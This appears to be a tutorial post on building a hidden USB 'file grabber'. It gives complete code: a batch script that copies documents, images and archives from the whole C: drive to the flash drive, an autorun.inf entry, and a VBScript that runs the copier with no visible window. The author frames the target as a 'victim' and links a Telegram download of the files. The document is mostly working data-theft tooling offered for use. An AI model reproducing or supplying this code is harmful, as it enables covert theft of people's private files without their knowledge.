How to make a Automatic file grabber on a flash drive

So… This thing collects files with extensions from all over the computer

*.doc *.pdf *.xls *.jpeg *.tif *.txt *.ppt *.mp4 *.mpeg *.rar *.zip *.psd *.cdr

Table of contents

Configuring

A person needed a tutorial, so I’m posting it for everyone

All you have to do is unzip it onto a flash drive, set the attribute to hidden for all files, voila

We create main.bat on the flash drive, make sure that we have enabled viewing of hidden files and folders

@echo off
set "destination_folder=%~dp0JustFolder"

for /r C:\ /d %%d in (*) do (
   for %%i in ("%%d\*.doc" "%%d\*.pdf" "%%d\*.xls" "%%d\*.jpeg" "%%d\*.tif" "%%d\*.txt" "%%d\*.ppt" "%%d\*.mp4" "%%d\*.mpeg" "%%d\*.rar" "%%d\*.zip" "%%d\*.psd" "%%d\*.cdr") do (
      copy "%%i" "%destination_folder%\"
   )
)

Well, let’s create a folder justFolder and hide it as well.

Calmly. Now we will do everything in order:

All the same operations, create, hide, edit, insert the code:

[autorun]
open=hide.vbs

Filename : autorun.inf

• So, let’s hide this annoying console, it really annoys me! No problem, read on:

It’s time to become assassins, hiding on the victim’s computer! I think I don’t need to repeat the algorithm for creating a file, right? Wonderful!

We throw this code into hide.vbs:

Set WinScriptHost = CreateObject("WScript.Shell")
strCurrentDirectory = CreateObject("Scripting.FileSystemObject").GetAbsolutePathName(".")
strScriptPath = strCurrentDirectory & "\main.bat"
WinScriptHost.Run Chr(34) & strScriptPath & Chr(34), 0, false
Set WinScriptHost = Nothing

We hide all this by throwing it on a flash drive

Now, by inserting this flash drive into the computer that is definitely not our victim, we collect all the files into one convenient folder on the flash drive.

🔗 Files : https://t.me/c/1154385673/11019

Conclusion

This is the brief specification of how you can customize this. You can customize more if you know some coding.

Thanks for reading.✌🏻